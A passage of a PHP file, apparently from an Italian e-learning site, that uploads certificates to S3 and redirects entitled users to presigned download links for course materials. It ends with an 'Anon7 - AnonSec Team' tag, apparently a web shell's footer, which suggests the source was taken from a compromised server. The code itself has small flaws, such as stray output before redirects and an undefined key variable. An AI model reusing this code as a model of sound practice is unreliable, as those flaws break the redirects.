            chmod($pdfrename, 0775);

            if(!$converter){
                echo "Errore in conversione"; die;
            }
            

            unlink($wordrename);

            
            //upload s3
            if($tipo){
                $url = putFileS3Private("clientidelcentro", $idcliente, $pdfrename); 
            }else{
                $url = putFileS3Private("clienti", $idcliente, $pdfrename);  
            }

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();
            
            if($presignedUrl){
                unlink($pdfrename);
                header("Location: $presignedUrl");
                die;
            }else{
                echo "Errore nella generazione del certificato, si prega di riprovare!"; die;
            }           

        }else{
            header("Location: error_esame.php");
            

        }


    }

    if(isset($_GET['method']) && $_GET['method'] == 'docsicurezza'){

        if($_SESSION['utente']['idclientedelcentro']){$tipo= 1;}else{$tipo= 0;}
        $utente = getUser($_SESSION['utente']['email'], $db);

        if($utente['sicurezza']) {   
            if($utente['sicurezza_success']==0) {   
                $db->query("UPDATE cliente SET sicurezza_date_success=NOW(), sicurezza_success=1, sicurezza_success_code='".random_strings(8)."' WHERE idcliente=".$utente['idcliente']);
            }

            $awsConfig = AWSCONFIG;
            
            //$sdk = new Aws\Sdk($awsConfig);
            //$bucket = $awsConfig['bucket'];
            
            //$s3 = $sdk->createS3();
            $keyname = "formazione-360/documentazione_corsi/sicurezza/sicurezza.zip";
            //echo $keyname;
            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            echo "tre";
            $presignedUrl = (string)$request->getUri();

            header("Location: $presignedUrl");
            die;
            

        }else{
            header("Location: error.php");
            

        }


        
    }

    if(isset($_GET['method']) && $_GET['method'] == 'doclim'){

        if($_SESSION['utente']['idclientedelcentro']){$tipo= 1;}else{$tipo= 0;}
        $utente = getUser($_SESSION['utente']['email'], $db);

        if($utente['lim']) {   

            
            $awsConfig = AWSCONFIG;
            
            //$sdk = new Aws\Sdk($awsConfig);
            //$bucket = $awsConfig['bucket'];
            
            //$s3 = $sdk->createS3();
            $keyname = "ascii/documentazione_corsi/lim/MATERIALE-DIDATTICO-LIM.pdf";
            //echo $keyname;
            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            echo "tre";
            $presignedUrl = (string)$request->getUri();

            header("Location: $presignedUrl");
            die;
            

        }else{
            header("Location: error.php");
            

        }


        
    }

    if(isset($_GET['method']) && $_GET['method'] == 'doccoding'){

        if($_SESSION['utente']['idclientedelcentro']){$tipo= 1;}else{$tipo= 0;}
        
        $utente = getUser($_SESSION['utente']['email'], $db);
        

        if($utente['coding']) {   

            
            $awsConfig = AWSCONFIG;
            
            //$sdk = new Aws\Sdk($awsConfig);
            //$bucket = $awsConfig['bucket'];
            
            //$s3 = $sdk->createS3();
            $keyname = "ascii/documentazione_corsi/coding/Materiale-didattico-Coding-e-Pensiero-Computazionale.pdf";
            //echo $keyname;
            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            echo "tre";
            $presignedUrl = (string)$request->getUri();

            header("Location: $presignedUrl");
            die;

        }else{
            header("Location: error.php");
            

        }


        
    }

    if(isset($_GET['method']) && $_GET['method'] == 'docinglese'){
        

        if($_SESSION['utente']['idclientedelcentro']){$tipo= 1;}else{$tipo= 0;}
        
        $utente = getUser($_SESSION['utente']['email'], $db);

        if($utente['inglese']) { 
            $awsConfig = AWSCONFIG;
            
            //$sdk = new Aws\Sdk($awsConfig);
            //$bucket = $awsConfig['bucket'];
            
            //$s3 = $sdk->createS3();
            $keyname = "ascii/documentazione_corsi/inglese/ascii-formazione-inglese.zip";
            //echo $keyname;
            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();

            header("Location: $presignedUrl");
            die;
            

        }else{
            header("Location: error.php");
            

        }


        
    }

?>

Anon7 - 2022
AnonSec Team